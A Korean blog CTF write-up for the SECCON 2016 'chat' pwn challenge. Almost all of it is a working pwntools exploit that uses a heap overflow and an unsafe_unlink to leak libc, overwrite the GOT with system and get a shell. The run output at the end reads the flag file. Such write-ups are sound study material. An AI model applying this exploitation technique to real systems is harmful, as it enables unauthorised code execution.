본문 바로가기

Games/CTF

SECCON 2016 chat

요약: change name 할때 16바이트 힙오버. next chunk 메타데이타를 덮을수있음.  unsafe_unlink 써서 임의메모리쓰기해서 익스.

summary: 16byte heap overflow in change_name.  use unsafe_unlink and get write-what-where.




from pwn import *

context.arch = 'amd64' # i386 / arm

r = remote('chat.pwn.seccon.jp', 26895)

raw_input('attach')

print r.recvuntil('menu > ')


def adduser(name):

    r.sendline('1')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu > ')


# for heap address leak.

adduser('1111')

adduser('2222')

adduser('zzzzzzzzccc')   # this is normal user.


# make normal 0x20 chunk. this will become fake chunk for unsafe unlink. 

adduser('c'*28)   # 0x6030e0 + 0x18 is the object pointer (c).


# make bug small chunk for oveflow.. it will corrupt the 0x98 chunk header. 

adduser('daehee')


def deluser(name, getleak):

    r.sendline('2')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu >> ')

    r.sendline('7')

    print r.recvuntil('name >> ')

    r.sendline('\xff')

    if getleak==0:

        print r.recvuntil('menu > ')

    else:

        sleep(1)

        leak = r.recv(8192)

        return int(leak.split('Bye, ')[1].split('\n')[0][::-1].encode('hex'), 16)


def change_name(name, payload):

    r.sendline('2')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu >> ')

    r.sendline('7')

    print r.recvuntil('name >> ')

    r.sendline(payload)

    print r.recvuntil('menu >> ')

    r.sendline('0')

    print r.recvuntil('menu > ')


def tweet(name, msg):

    r.sendline('2')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu >> ')

    r.sendline('4')

    print r.recvuntil('message >> ')

    r.sendline(msg)

    print r.recvuntil('menu >> ')

    r.sendline('0')

    print r.recvuntil('menu > ')

    


heap_base = deluser('2222', 1) - 0x10

pfake_chunk_addr = heap_base + 0xb8

deluser('1111', 0)

print hex(heap_base)

payload = 'A'*24

tweet('zzzzzzzzccc', payload)


# overwrite tweet chunk metadata

payload = 'e'*24

payload += '\xa0'

change_name('daehee', payload)


payload2 = 'e'*23

change_name(payload, payload2)

payload3 = 'e'*22

change_name(payload2, payload3)

payload4 = 'e'*21

change_name(payload3, payload4)

payload5 = 'e'*20

change_name(payload4, payload5)

payload6 = 'e'*19

change_name(payload5, payload6)

payload7 = 'e'*18

change_name(payload6, payload7)

payload8 = 'e'*17

change_name(payload7, payload8)

payload9 = 'e'*16 + '\x60'      # 0x60 is the offset for previous fake chunk.

change_name(payload8, payload9)


# setup fake chunk FD(0x6030e0), BK(0x6030e8)

payload = 'c'*24

payload += pack(pfake_chunk_addr+8)[:4]

change_name('c'*28, payload)


payload2 = 'c'*23

change_name(payload, payload2)

payload3 = 'c'*22

change_name(payload2, payload3)

payload4 = 'c'*21

change_name(payload3, payload4)

payload5 = 'c'*20

change_name(payload4, payload5)

payload6 = 'c'*19

change_name(payload5, payload6)


payload7 = 'c'*16

payload7 += pack(pfake_chunk_addr)[:4]

change_name(payload6, payload7)

change_name(payload7, 'ccc')


# login as zzzzzzzzccc and trigger free!

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('zzzzzzzzccc')

print r.recvuntil('menu >> ')

r.sendline('6')

print r.recvuntil('id >> ')

r.sendline('1')

print r.recvuntil('menu >> ')

r.sendline('0')


# login as ccc and leak GOT.

print r.recvuntil('menu > ')

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('ccc')

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')

r.sendline('d'*24 + pack(0x603070)[:4])

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')

r.sendline('give me leak')

sleep(.5)

leak = r.recv(8192)

libc_malloc = int(leak.split('Bye, ')[1][:6][::-1].encode('hex'), 16)

print hex(libc_malloc)


# defragment heap...

adduser('F'*30)

adduser('G'*30)


# final stage

adduser('xxxxxxxxggg')   # this is normal user.

# make normal 0x20 chunk. this will become fake chunk for unsafe unlink. 

adduser('g'*28)   # 0x6030e0 + 0x18 is the object pointer (c).

# make bug small chunk for oveflow.. it will corrupt the 0x98 chunk header. 

adduser('hahah')

pfake_chunk_addr = heap_base + 0x158

payload = 'B'*24

tweet('xxxxxxxxggg', payload)

raw_input('zzzzzzzzz')


# overwrite tweet chunk metadata

payload = 'i'*24

payload += '\xa0'

change_name('hahah', payload)

payload2 = 'i'*23

change_name(payload, payload2)

payload3 = 'i'*22

change_name(payload2, payload3)

payload4 = 'i'*21

change_name(payload3, payload4)

payload5 = 'i'*20

change_name(payload4, payload5)

payload6 = 'i'*19

change_name(payload5, payload6)

payload7 = 'i'*18

change_name(payload6, payload7)

payload8 = 'i'*17

change_name(payload7, payload8)

payload9 = 'i'*16 + '\x60'      # 0x60 is the offset for previous fake chunk.

change_name(payload8, payload9)


# setup fake chunk FD(0x6030e0), BK(0x6030e8)

payload = 'g'*24

payload += pack(pfake_chunk_addr+8)[:4]

change_name('g'*28, payload)


payload2 = 'g'*23

change_name(payload, payload2)

payload3 = 'g'*22

change_name(payload2, payload3)

payload4 = 'g'*21

change_name(payload3, payload4)

payload5 = 'g'*20

change_name(payload4, payload5)

payload6 = 'g'*19

change_name(payload5, payload6)


payload7 = 'g'*16

payload7 += pack(pfake_chunk_addr)[:4]

change_name(payload6, payload7)

change_name(payload7, 'ggg')


# login as zzzzzzzzccc and trigger free!

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('xxxxxxxxggg')

print r.recvuntil('menu >> ')

r.sendline('6')

print r.recvuntil('id >> ')

r.sendline('2')

print r.recvuntil('menu >> ')

r.sendline('0')


# login as ccc and overwrite GOT.

print r.recvuntil('menu > ')

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('ggg')

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')

r.sendline('\x40'*24 + pack(0x60302a)[:4])

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')


system = libc_malloc - 0x3c0d0

print hex(system)

raw_input('ready')

r.sendline( 'A'*14 + pack(system) )

print r.recv(8192)

r.sendline('sh;')

# get shell?

r.interactive()











...


Service Menu


1 : Show TimeLine    2 : Show DM    3 : Show UsersList

4 : Send PublicMessage    5 : Send DirectMessage

6 : Remove PublicMessage        7 : Change UserName

0 : Sign Out

menu >> 

name >> 

Done.


1 : Show TimeLine    2 : Show DM    3 : Show UsersList

4 : Send PublicMessage    5 : Send DirectMessage

6 : Remove PublicMessage        7 : Change UserName

0 : Sign Out

menu >> 

name >> 

0x7f6864de4590

ready

Done.


[*] Switching to interactive mode


1 : Show TimeLine    2 : Show DM    3 : Show UsersList

4 : Send PublicMessage    5 : Send DirectMessage

6 : Remove PublicMessage        7 : Change UserName

0 : Sign Out

menu >> $ id

uid=10749 gid=1001(chat) groups=1001(chat)

$ ls

chat

flag.txt

run.sh

$ cat flag.txt

SECCON{51mpl3_ch47_l1k3_7w1*73*}

$  



'Games > CTF' 카테고리의 다른 글

SECCON 2016 logger  (0) 2016.12.11
SECCON 2016 jumper  (0) 2016.12.11
Tokyo Westerns MMA CTF 2016 interpreter  (0) 2016.09.05
Tokyo Westerns MMA CTF 2016 shadow  (0) 2016.09.05
BKP2016 segsh  (0) 2016.06.24